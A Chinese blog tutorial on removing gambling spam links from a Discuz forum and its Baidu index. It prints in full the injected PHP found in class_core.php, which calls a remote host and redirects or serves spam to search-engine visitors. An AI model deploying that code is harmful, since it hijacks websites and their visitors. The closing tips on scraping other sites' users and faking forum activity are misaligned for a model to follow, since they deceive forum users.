Discuz论坛黑链清理教程

时间:2022-03-04 02:35:37

  本人亲测有效,原创文章哦~~~

  论坛黑链非常的麻烦,如果你的论坛有黑链,那么对不起,百度收录了你的黑链,不会自动删除,需要你手动去清理。

什么是黑链

  黑链,顾名思义,就是一些赌博网站的外链,这些黑链相当的麻烦,因为百度收录了它们,会降低你的百度权重,甚至K站,如果你用的是国内的空间或者域名,被查到了还可能封站,所以 这个非常的令人头疼,本文通过几个不同的角度,来告诉你怎么清黑链。

找到黑链的源头

  我们先要知道黑链的源头究竟在哪里?黑链就像蟑螂,蟑螂喜欢油烟子,喜欢待在厨房里,滋生在下水道里面,无孔不入。那么黑链也是一样,只要你不把源头堵住,那么,无论你再怎么清理,它还是会来的。以Discuz为例,我们来看看 黑链的源头在哪里。首先,我们必须知道,黑链是怎么形成的。黑链有几种形成方式。

  1. 论坛的漏洞
  2. 服务器FTP漏洞
  3. 外链漏洞(DISCUZ插件漏洞)
  4. 执行脚本漏洞
  5. 注册漏洞

  也许我概括得不太全面,不过基本上是由于这些原因形成的,我不说大话,我就以我现在碰到的漏洞跟大家说一下,我就以一个最常见的论坛注册漏洞跟大家说一下,大家多多少少也见过,或者接触过一种叫做注册机的东西,就是可以批量注册,当然,如果是站长主动想去注册的话,那没问题,因为批量注册用户,是一种提高论坛人气的好方法,但是如果是恶意的,为了发广告而注册的账号,那么就是不好的,所以大家都会用到一些插件,比如拖动滑块验证等。

  如果你的FTP密码泄露了,这个是最最麻烦的事情,因为人家都可以进你的云服务器了,你想下,他是不是可以为所欲为呢?那么他们是怎么进入你的云服务器的呢?在你神不知鬼不觉的情况下?我总结了如下原因:

  1. 撞库攻击;这个很常见,其实如果你在其他网站上用了同样的密码,而这个网站的密码是不安全的,那么你就可能成为受害者。
  2. 暴力破解;这个也常见,有专门的软件,可以进行暴力破解,所以设置密码的时候,必须要有大小写,而且没有规则的密码,是不容易被破解的,注意密码长度等。

  那么Discuz还有一种更NB的被破解的方式,就是直接注入 一段代码到你的PHP文件中,所以这时候,DISCUZ的文件对比功能就起效果了,文件对比功能,是对比你的FTP上的系统文件和DISCUZ官方的文件,看看有没有不同,通常来说,大部分文件,是不需要修改的,如果修改了,那就可以从这里找突破口,看看有没有蛛丝马迹。

Discuz论坛黑链清理教程

  通过对比,果然发现有文件被篡改过,真是功夫不负有心人啊,在class_core.php中。

Discuz论坛黑链清理教程

  注意最上方的一段代码,这里我把这段PHP粘贴过来,下面这段代码,会让你的网站的快照指向赌博网站的链接,并且,会生成很多很多的不存在的外链。

define('s_u','http://103.192.202.8:88/');
define('s_s','baidu|haosou.com|sogou|yahoo|gogle');
define('h_t',$_SERVER['SERVER_NAME']);define('r_s',$_SERVER['HTTP_REFERER']);define('u_s',$_SERVER['HTTP_USER_AGENT']);define('h_z',s_p());
function s_p(){$d='';if(isset($_SERVER['REQUEST_URI'])){$d=$_SERVER['REQUEST_URI'];}else{if(isset($_SERVER['argv'])){$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];}else{$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];}}if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){if(function_exists('mb_convert_encoding')){$d=mb_convert_encoding($d,'UTF-8','GBK');}else{$d=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$d:@iconv('GBK','UTF-8',$d);}}$r=explode('#',$d,2);$d=$r[0];return $d;}function r_s($url){$o=array('http' => array('method'=>"GET",'timeout'=>8));$context=stream_context_create($o);$h=file_get_contents($url,false,$context);if(empty($h)){$h=file_get_contents($url);}return $h;}
if(eregi(s_s,r_s)){$d_s=true;if(eregi("site%3A|inurl%3A",r_s)){setcookie('xx',h_t,time()+259200);$d_s=false;}if($d_s && empty($_COOKIE['xx'])){setcookie('xx',h_t,time()+259200);$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&ad=1&xh='.bin2hex(h_t);$d_c=r_s($d_u);header("Location: ".$d_c.'?'.h_t);exit;}}if(strstr(h_z,u_b)){if(eregi(s_s,u_s)){$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&xh='.bin2hex(h_t);$d_c=r_s($d_u);echo $d_c;exit;}}
?>

  大家知道下一步是做什么吗?想想智商为负数的人都应该知道,就是把这段代码给删除掉,但是仅仅是删除掉吗?NO,下面的章节将会告诉你详细的操作。

 利用百度查询黑链规则

  如果我们想要删除黑链,首先必须知道黑链长什么样子,黑链很难自动被删掉,即使你把那些赌博链接的帖子从论坛里面删掉了,你会发现,黑链的快照依旧存储在百度的数据库里面,那么话不多说,给大家推荐一个网址,这个比使用site:www.kmsfan.com 要强多了。http://www.baidu.com/s?ie=utf-8&tn=baidulocal&wd=site%3Awww.kmsfan.com 大家把最后的www.kmsfan.com 替换成自己网站的地址就行了。现在我们 来看看黑链 长什么样子。

  Discuz论坛黑链清理教程

  从上面的黑链举例来说,我们其实可以得到如下信息。

  1. 黑链入库时间
  2. 黑链的正则
  3. 黑链的名称

  从黑链的入库时间推算,这个黑链如果我们不主动清除的话,它是几乎 不可能消除的,而且会影响网站后续新帖子的收录。从黑链的正则来看,就是网站域名+thread-帖子ID+页数-1.html,如果大家没玩过DISCUZ的话,可能不知道Discuz论坛有一个伪静态的功能,这个帖子的问题就 在于,它的帖子ID不是正常的ID,因为我论坛总共就5000个帖子,哪来的那么大的ID。从黑链的名称上看,这个是一个赌博链接。

  再来看一看另一类黑链:

Discuz论坛黑链清理教程

  我们打开它,看看是不是没有帖子:

Discuz论坛黑链清理教程

  居然有正常的帖子 !!!这是为什么呢?黑链不指向404,而是一个正常的帖子,这个原因,我个人的看法是,论坛黑链形成的时间比较早,然后已经入了百度的数据库,当时我把这个带有黑链的帖子给删除了,然后过了一段时间,这个帖子的ID又被正常的帖子给占据了,但是因为百度已经默认为:你的网站有黑链,不刷新收录,所以这里看到的,是新的帖子,但是百度里面,还是带有赌博链接的旧的帖子。

利用工具Xenu检测黑链

  这个工具适用于黑链数较少的网站,可以手工清除的,首先我们要去检测链接:http://www.baidu.com/s?ie=utf-8&tn=baidulocal&wd=site%3Awww.kmsfan.com,还是利用这个链接,当然了,后面的www.kmsfan.com可以换成你自己的网站的域名,注意勾选:检测外部链接。

Discuz论坛黑链清理教程

  注意需要勾选:只显示无效的链接,由于Xenu是外国的,所以人家没有直接生成百度黑链规则的xml,所以只能通过WORD文档去修改了,这一点有点麻烦,而且网站黑链众多的时候,这个也很难做到完美清除。查询就讲到这里,下面会跟大家说说怎么删除黑链。

Discuz论坛黑链清理教程

百度站长工具VS黑链

  上面说了这么多,终于进入本话题的重中之重:删除黑链,在删除黑链之前,大家还是需要修补好漏洞,另外告诉大家一个很难被发现的漏洞,大家用过Discuz的人肯定用过php,用过php的人,肯定用过phpMyAdmin这个工具;有人会说,这个工具有什么呢?我告诉大家,这个工具其实就是你在IIS上的一个站点,当你想操作数据库的时候,就要打开它,如果你不在使用后及时关闭这个站点的话,那么后果是灾难性的,我的站点因为这个原因,连管理员都被删除过。所以,大家一定要小心。

  闲话不多说,我们还是进入正题吧,百度站长工具其实是一个很好的东西,当然在使用前,你必须先验证你的站点,这个和在CNZZ上面加统计一个意思。先给大家放一张我删除黑链的成果图。

Discuz论坛黑链清理教程

  哈哈,大家羡慕了吧,黑链虽然没有全部删完,但是还是成果颇丰的,那么大家会问,你用的什么方式删除的呢?那么快,那么有效果。

利用Robots.txt强力删除

  不了解的人也许会笑话我,不就是一个txt文件吗,有这么NB吗?我告诉你:有的,参加上图。那么这个Robots.txt究竟是何方神圣呢?先给大家看看我的Robots.txt

#
# robots.txt for Discuz! X3
# User-agent: *
Disallow: /api/
Disallow: /data/
Disallow: /source/
Disallow: /install/
Disallow: /template/
Disallow: /config/
Disallow: /uc_client/
Disallow: /uc_server/
Disallow: /static/
Disallow: /admin.php
Disallow: /search.php
Disallow: /member.php
Disallow: /api.php
Disallow: /misc.php
Disallow: /connect.php
Disallow: /forum.php?mod=redirect*
Disallow: /forum.php?mod=post*
Disallow: /home.php?mod=spacecp*
Disallow: /userapp.php?mod=app&*
Disallow: /*?mod=misc*
Disallow: /*?mod=attachment*
Disallow: /*mobile=yes*
Disallow: /forum.php?mod=viewthread&tid=*
Disallow: /forum.php/forum.php?mod=viewthread&tid=*
Disallow: /forum.php/thread-*-2-1.html
Disallow: /forum.php/thread-*-3-1.html
Disallow: /forum.php/thread-*-4-1.html

 其实Discuz已经默认有一个robots.txt了,我只是动了动手脚而已,嘿嘿,我加了如下代码:

Disallow: /forum.php?mod=viewthread&tid=*
Disallow: /forum.php/forum.php?mod=viewthread&tid=*
Disallow: /forum.php/thread-*--.html
Disallow: /forum.php/thread-*--.html
Disallow: /forum.php/thread-*--.html

   Disallow其实就是不让抓取以这个正则为模板的所有帖子,不过Robots不支持复杂的正则表达式,它非常的简单。大家写完了以后,需要上传并更新此文件,百度还提供了一个测试工具,你可以在线测试此正则是否有效;当然了,不是马上生效哦,估计要1~2个星期,才能起效果,所以,耐心等吧。

Discuz论坛黑链清理教程

利用死链提交工具精确删除

  注意,此功能只针对404的链接,如果是因为快照没有更新而造成的收录不匹配,此方法无效。而且此方法只适用于死链较少的网站,这个需要配合Xenu工具,先把死链捞出来,然后使用XML或者TXT格式,上传死链链接。此方法我个人不太推荐,因为如果链接里面有“活的”链接,死链删除会失败。

Discuz论坛黑链清理教程

  

恢复收录以及网站吸引人气的若干方法

  当死链都清除掉了(当然这是个漫长的过程),你需要的只是等待。当然,如果权重高的网站,那么它收录的也快一些,这个时候,你 就需要更多的帖子,更多的人,这样你的网站才会更加的健康和活跃,这样也吸引人气。关于网站吸引人气,如何吸引人气,我作为一个站长,想要驳斥一种观点:关系论。就是说,你可以去招募一大批人,作为写手,来提高网站原创性,不可否认,在网站基本健康的情况下,这个很重要,但是我觉得,关系论只适用于小众站长,因为很多网站没有那么多的活跃用户,也没有那么多写手,这个时候,作为站长来说,可以“虚拟”一些人气出来,我个人的建议(当然纯属个人建议,如果你觉得不妥,可以不这么做),所谓虚拟人气就是这些东西:

  1. 批量从其他网站抓取用户(当然这里只抓取基本的信息),然后作为会员导入
  2. 采集文章,帖子,回复,然后定时,定量去采集,回复,这样会让论坛看起来更加活跃
  3. 论坛可以虚拟一小部分在线用户,然后大批量虚拟游客的数量,自己去体会为什么。

总结

一句话概括:离开了需求,离开了用户,一个只会写代码的程序员,没有任何价值,至少,他不能创造价值。他至少需要懂一点点业务才行。

Discuz论坛黑链清理教程的更多相关文章

  1. discuz论坛插件设计学习培训视频全套教程

    discuz模板跟插件开发的教程比较少,特搜集给大家学习插件做的好,在dsicuz应用中心出 售也是可以卖不少的呢 教程目录:第1章  本章的标题第1节Discuz! X 产品安装与配置第2节模板风格 ...

  2. 百度云bae安装discuz论坛教程

    作者:孤风一剑   发布:2013-05-11 13:37   栏目:站长在线   点击:6,846次   41条评论 各位草根们有福啦,弄了几天,终于可以在bae上搭建discuz论坛了,下面我就简 ...

  3. LNMP环境搭建(discuz论坛)

    一.操作系统级环境及软件版本 操作系统:CentOS release 6.5 (Final)minimal 内核版本:2.6.32-431.el6.x86_64 MySQL版本:MySQL-5.6.2 ...

  4. 基于Centos搭建 Discuz 论坛

    系统要求:CentOS 6.8 64 位操作系统 搭建 Discuz 论坛 准备 LAMP 环境 LAMP 是 Linux.Apache.MySQL 和 PHP 的缩写,是 Discuz 论坛系统依赖 ...

  5. centos lamp/lnmp阶段复习 以后搬迁discuz论坛不需要重新安装,只需修改配置文件即可 安装wordpress 安装phpmyadmin 定时备份mysql两种方法 第二十五节课

    centos  lamp/lnmp阶段复习 以后搬迁discuz论坛不需要重新安装,只需修改配置文件即可 安装wordpress  安装phpmyadmin  定时备份mysql两种方法  第二十五节 ...

  6. seo外链发布之论坛外链

    目前最常见的seo外链方式有5种,之前大发迹创业项目网写文章分享过,详情可以查看文章<[网站SEO优化]最常见的五种软文外链发布方式!>,这篇文章不说其他的几种发外链,就来讲讲通过论坛建设 ...

  7. 【Microsoft Azure 的1024种玩法】三&period;基于Azure云平台构建Discuz论坛

    [简介] Discuz!是一套通用社区论坛软件系统,用户在不需要任何编程的基础上,通过简单的设置和安装,在互联网上搭建起具备完善功能.很强负载能力和可高度定制的论坛服务. [前期文章] [操作步骤] ...

  8. 实现Discuz论坛客户端应用源码

    通过使用该源码,开发者可以迅速地将Discuz论坛迁移到Android客户端中.不需要任何的开发工作即可拥有属于自己论坛的Android客户端 源码下载:http://code.662p.com/vi ...

  9. Discuz论坛安全加固浅析

    [51CTO专稿]Discuz! 论坛以其功能完善.效率高效.负载能力,深受被大多数的网站喜爱和青睐.无独有隅,笔者所维护的论坛就是用discuz! 来构建的,从接手时候的7.2到现在x2.0,经历了 ...

随机推荐

  1. 火狐、谷歌、IE关于document&period;body&period;scrollTop和document&period;documentElement&period;scrollTop 以及值为0的问题

    一.先遇到document.body.scrollTop值为0的问题 做页面的时候可能会用到位置固定的层,读取document.body.scrollTop来设置层的位置,像这样, window.on ...

  2. Xcode添加代码块

    1.在编辑区写好代码 @property (nonatomic, assign) <#type#> <#name#> 在Xcode中实际输入完成之后显示的是下面的样子: 2.全 ...

  3. 编写一个单独的Web Service for Delphi

    早段时间看了一篇好文章,对其整理成以下几步 1新建一个SOAP Server Application,在提示输入接口时输入MyHello,把所有文件保存在一个叫Ser的目录下,其中一个包含TWebMo ...

  4. RR 和RC 幻读问题

    <pre name="code" class="html">显然 RR 支持 gap lock(next-key lock),而RC则没有gap l ...

  5. js 对日期加减

    function getDate(days) { var now = new Date(), newDate = new Date(now.getTime() - 86400000 * days), ...

  6. pgmpy包的安装,以及conda的安装

    pgmpy包的安装,以及conda的安装 pgmpy的官方网站是这样说明安装过程的: 链接:Installation 共有三个步骤,第一步是安装依赖包 首先它讲述了在linux下使用pip安装的方法: ...

  7. 打开phpmyadmin显示高级功能尚未完全设置部分功能未激活

    问题:老师,打开phpmyadmin显示高级功能尚未完全设置部分功能未激活,应该如何解决? 这是前一阵子学生问过我的一个问题,今天我就在博客里解答你的疑问吧. 总共三步可以搞定 1.导入相关文件到数据 ...

  8. 字符编码笔记:ASCII,Unicode和UT…

    字符编码笔记:ASCII,Unicode和UTF-8 今天中午,我突然想搞清楚Unicode和UTF-8之间的关系,于是就开始在网上查资料. 结果,这个问题比我想象的复杂,从午饭后一直看到晚上9点,才 ...

  9. Linux下修改Tomcat默认端口

    假设tomcat所在目录为/usr/local/apache-tomcat/ 1.打开tomcat配置文件#vi /usr/local/apache-tomcat/conf/server.xml 2. ...

  10. Android毛玻璃模糊化效果处理

    三种方法 第一种:比较简单,性能比较低 /**     * 通过调用系统高斯模糊api的方法模糊     *     * @param bitmap  source bitmap     * @par ...